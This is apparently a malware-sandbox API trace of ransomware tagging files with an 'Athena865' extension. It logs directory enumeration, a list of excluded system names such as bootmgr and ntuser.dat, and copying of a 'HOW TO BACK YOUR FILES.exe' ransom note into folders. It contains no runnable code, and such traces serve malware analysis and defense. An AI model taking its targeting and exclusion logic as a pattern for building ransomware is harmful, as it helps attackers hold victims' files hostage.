[0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="bootmgr") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="temp") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="pagefile.sys") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="boot") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="ids.txt") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="ntuser.dat") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="perflogs") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="MSBuild") returned -1 [0100.408] lstrlenW (lpString="7wqky.mp4.Athena865") returned 19 [0100.408] lstrcpyW (in: lpString1=0x241e8a6, lpString2="7wqky.mp4.Athena865" | out: lpString1="7wqky.mp4.Athena865") returned="7wqky.mp4.Athena865" [0100.408] lstrlenW (lpString="7wqky.mp4.Athena865") returned 19 [0100.408] lstrlenW (lpString="Athena865") returned 9 [0100.408] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.408] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1db3d4a0, ftCreationTime.dwHighDateTime=0x1d4d13a, ftLastAccessTime.dwLowDateTime=0x2370e520, ftLastAccessTime.dwHighDateTime=0x1d4c633, ftLastWriteTime.dwLowDateTime=0xc5312680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5820, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8 S4kdjOc2hOb4-n7.csv.Athena865", cAlternateFileName="8S4KDJ~1.ATH")) returned 1 [0100.408] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.408] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.408] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2=".") returned 1 [0100.408] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="..") returned 1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="windows") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="bootmgr") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="temp") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="pagefile.sys") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="boot") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="ids.txt") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="ntuser.dat") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="perflogs") returned -1 [0100.409] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865", lpString2="MSBuild") returned -1 [0100.409] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.csv.Athena865") returned 31 [0100.409] lstrcpyW (in: lpString1=0x241e8a6, lpString2="8 S4kdjOc2hOb4-n7.csv.Athena865" | out: lpString1="8 S4kdjOc2hOb4-n7.csv.Athena865") returned="8 S4kdjOc2hOb4-n7.csv.Athena865" [0100.409] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.csv.Athena865") returned 31 [0100.409] lstrlenW (lpString="Athena865") returned 9 [0100.409] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.409] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9934f750, ftCreationTime.dwHighDateTime=0x1d4d232, ftLastAccessTime.dwLowDateTime=0xd4ca19b0, ftLastAccessTime.dwHighDateTime=0x1d4c9e7, ftLastWriteTime.dwLowDateTime=0xc53387e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8A6iUe75-AGFNFLQ.xls.Athena865", cAlternateFileName="8A6IUE~1.ATH")) returned 1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2=".") returned 1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="..") returned 1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="windows") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="bootmgr") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="temp") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="pagefile.sys") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="boot") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="ids.txt") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="ntuser.dat") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="perflogs") returned -1 [0100.409] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls.Athena865", lpString2="MSBuild") returned -1 [0100.409] lstrlenW (lpString="8A6iUe75-AGFNFLQ.xls.Athena865") returned 30 [0100.409] lstrcpyW (in: lpString1=0x241e8a6, lpString2="8A6iUe75-AGFNFLQ.xls.Athena865" | out: lpString1="8A6iUe75-AGFNFLQ.xls.Athena865") returned="8A6iUe75-AGFNFLQ.xls.Athena865" [0100.409] lstrlenW (lpString="8A6iUe75-AGFNFLQ.xls.Athena865") returned 30 [0100.409] lstrlenW (lpString="Athena865") returned 9 [0100.410] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.410] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8040e30, ftCreationTime.dwHighDateTime=0x1d4ccaf, ftLastAccessTime.dwLowDateTime=0x8499d0c0, ftLastAccessTime.dwHighDateTime=0x1d4ce9c, ftLastWriteTime.dwLowDateTime=0xc53387e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8fTkcnQUwae4Ny.flv.Athena865", cAlternateFileName="8FTKCN~1.ATH")) returned 1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2=".") returned 1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="..") returned 1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="windows") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="bootmgr") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="temp") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="pagefile.sys") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="boot") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="ids.txt") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="ntuser.dat") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="perflogs") returned -1 [0100.410] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.Athena865", lpString2="MSBuild") returned -1 [0100.410] lstrlenW (lpString="8fTkcnQUwae4Ny.flv.Athena865") returned 28 [0100.410] lstrcpyW (in: lpString1=0x241e8a6, lpString2="8fTkcnQUwae4Ny.flv.Athena865" | out: lpString1="8fTkcnQUwae4Ny.flv.Athena865") returned="8fTkcnQUwae4Ny.flv.Athena865" [0100.410] lstrlenW (lpString="8fTkcnQUwae4Ny.flv.Athena865") returned 28 [0100.410] lstrlenW (lpString="Athena865") returned 9 [0100.410] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.410] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc535e940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc535e940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0100.410] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0100.411] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0100.411] lstrlenW (lpString="Adobe") returned 5 [0100.411] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0100.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae00 [0100.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d570 [0100.411] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0100.411] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0100.411] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.411] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b56a7f0, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x4aab0ec0, ftLastAccessTime.dwHighDateTime=0x1d4d49f, ftLastWriteTime.dwLowDateTime=0xc5384aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16740, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CsnV8Yv1T6B7Z1J.mkv.Athena865", cAlternateFileName="CSNV8Y~1.ATH")) returned 1 [0100.411] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.411] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.411] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2=".") returned 1 [0100.411] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="..") returned 1 [0100.411] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="windows") returned -1 [0100.411] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="bootmgr") returned 1 [0100.411] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="temp") returned -1 [0100.412] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0100.412] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="boot") returned 1 [0100.412] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="ids.txt") returned -1 [0100.412] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0100.412] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="perflogs") returned -1 [0100.412] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865", lpString2="MSBuild") returned -1 [0100.412] lstrlenW (lpString="CsnV8Yv1T6B7Z1J.mkv.Athena865") returned 29 [0100.412] lstrcpyW (in: lpString1=0x241e8a6, lpString2="CsnV8Yv1T6B7Z1J.mkv.Athena865" | out: lpString1="CsnV8Yv1T6B7Z1J.mkv.Athena865") returned="CsnV8Yv1T6B7Z1J.mkv.Athena865" [0100.412] lstrlenW (lpString="CsnV8Yv1T6B7Z1J.mkv.Athena865") returned 29 [0100.412] lstrlenW (lpString="Athena865") returned 9 [0100.412] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.412] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3e84680, ftCreationTime.dwHighDateTime=0x1d4ca9c, ftLastAccessTime.dwLowDateTime=0x620c6e30, ftLastAccessTime.dwHighDateTime=0x1d4d006, ftLastWriteTime.dwLowDateTime=0xc53aac00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa9a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D LaemIQZxiCzdY_Uv1.wav.Athena865", cAlternateFileName="DLAEMI~1.ATH")) returned 1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2=".") returned 1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="..") returned 1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="windows") returned -1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="bootmgr") returned 1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="temp") returned -1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="pagefile.sys") returned -1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="boot") returned 1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="ids.txt") returned -1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="ntuser.dat") returned -1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="perflogs") returned -1 [0100.412] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865", lpString2="MSBuild") returned -1 [0100.412] lstrlenW (lpString="D LaemIQZxiCzdY_Uv1.wav.Athena865") returned 33 [0100.412] lstrcpyW (in: lpString1=0x241e8a6, lpString2="D LaemIQZxiCzdY_Uv1.wav.Athena865" | out: lpString1="D LaemIQZxiCzdY_Uv1.wav.Athena865") returned="D LaemIQZxiCzdY_Uv1.wav.Athena865" [0100.412] lstrlenW (lpString="D LaemIQZxiCzdY_Uv1.wav.Athena865") returned 33 [0100.412] lstrlenW (lpString="Athena865") returned 9 [0100.412] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.412] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd5c5c8e0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0xe18cca10, ftLastAccessTime.dwHighDateTime=0x1d4d574, ftLastWriteTime.dwLowDateTime=0xc53aac00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xcea0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d5hPdofRcff-.png.Athena865", cAlternateFileName="D5HPDO~1.ATH")) returned 1 [0100.412] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2=".") returned 1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="..") returned 1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="windows") returned -1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="bootmgr") returned 1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="temp") returned -1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="pagefile.sys") returned -1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="boot") returned 1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="ids.txt") returned -1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="ntuser.dat") returned -1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="perflogs") returned -1 [0100.413] lstrcmpiW (lpString1="d5hPdofRcff-.png.Athena865", lpString2="MSBuild") returned -1 [0100.413] lstrlenW (lpString="d5hPdofRcff-.png.Athena865") returned 26 [0100.413] lstrcpyW (in: lpString1=0x241e8a6, lpString2="d5hPdofRcff-.png.Athena865" | out: lpString1="d5hPdofRcff-.png.Athena865") returned="d5hPdofRcff-.png.Athena865" [0100.413] lstrlenW (lpString="d5hPdofRcff-.png.Athena865") returned 26 [0100.413] lstrlenW (lpString="Athena865") returned 9 [0100.413] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.413] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b4dc8b0, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0xa8871880, ftLastAccessTime.dwHighDateTime=0x1d4c73f, ftLastWriteTime.dwLowDateTime=0xc53d0d60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x28a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d9d2zKK4Gxce2g-X2G.flv.Athena865", cAlternateFileName="D9D2ZK~1.ATH")) returned 1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2=".") returned 1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="..") returned 1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="windows") returned -1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="bootmgr") returned 1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="temp") returned -1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="pagefile.sys") returned -1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="boot") returned 1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="ids.txt") returned -1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="ntuser.dat") returned -1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="perflogs") returned -1 [0100.413] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865", lpString2="MSBuild") returned -1 [0100.413] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv.Athena865") returned 32 [0100.414] lstrcpyW (in: lpString1=0x241e8a6, lpString2="d9d2zKK4Gxce2g-X2G.flv.Athena865" | out: lpString1="d9d2zKK4Gxce2g-X2G.flv.Athena865") returned="d9d2zKK4Gxce2g-X2G.flv.Athena865" [0100.414] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv.Athena865") returned 32 [0100.414] lstrlenW (lpString="Athena865") returned 9 [0100.414] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.414] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8f8c1180, ftCreationTime.dwHighDateTime=0x1d4d213, ftLastAccessTime.dwLowDateTime=0xa0094ee0, ftLastAccessTime.dwHighDateTime=0x1d4cf68, ftLastWriteTime.dwLowDateTime=0xc53d0d60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3e50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EK5SC.ods.Athena865", cAlternateFileName="EK5SCO~1.ATH")) returned 1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2=".") returned 1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="..") returned 1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="windows") returned -1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="bootmgr") returned 1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="temp") returned -1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="pagefile.sys") returned -1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="boot") returned 1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="ids.txt") returned -1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="ntuser.dat") returned -1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="perflogs") returned -1 [0100.414] lstrcmpiW (lpString1="EK5SC.ods.Athena865", lpString2="MSBuild") returned -1 [0100.414] lstrlenW (lpString="EK5SC.ods.Athena865") returned 19 [0100.414] lstrcpyW (in: lpString1=0x241e8a6, lpString2="EK5SC.ods.Athena865" | out: lpString1="EK5SC.ods.Athena865") returned="EK5SC.ods.Athena865" [0100.414] lstrlenW (lpString="EK5SC.ods.Athena865") returned 19 [0100.414] lstrlenW (lpString="Athena865") returned 9 [0100.414] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.414] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57fd5970, ftCreationTime.dwHighDateTime=0x1d4c8c9, ftLastAccessTime.dwLowDateTime=0x10ca72e0, ftLastAccessTime.dwHighDateTime=0x1d4cb12, ftLastWriteTime.dwLowDateTime=0xc53f6ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fw6HFXXMnHNIBn.flv.Athena865", cAlternateFileName="FW6HFX~1.ATH")) returned 1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2=".") returned 1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="..") returned 1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="windows") returned -1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="bootmgr") returned 1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="temp") returned -1 [0100.414] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="pagefile.sys") returned -1 [0100.415] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="boot") returned 1 [0100.415] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="ids.txt") returned -1 [0100.415] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="ntuser.dat") returned -1 [0100.415] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="perflogs") returned -1 [0100.415] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.Athena865", lpString2="MSBuild") returned -1 [0100.415] lstrlenW (lpString="Fw6HFXXMnHNIBn.flv.Athena865") returned 28 [0100.415] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Fw6HFXXMnHNIBn.flv.Athena865" | out: lpString1="Fw6HFXXMnHNIBn.flv.Athena865") returned="Fw6HFXXMnHNIBn.flv.Athena865" [0100.415] lstrlenW (lpString="Fw6HFXXMnHNIBn.flv.Athena865") returned 28 [0100.415] lstrlenW (lpString="Athena865") returned 9 [0100.415] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.415] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8e75f50, ftCreationTime.dwHighDateTime=0x1d4d3d4, ftLastAccessTime.dwLowDateTime=0x1b933900, ftLastAccessTime.dwHighDateTime=0x1d4cc20, ftLastWriteTime.dwLowDateTime=0xc53f6ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, 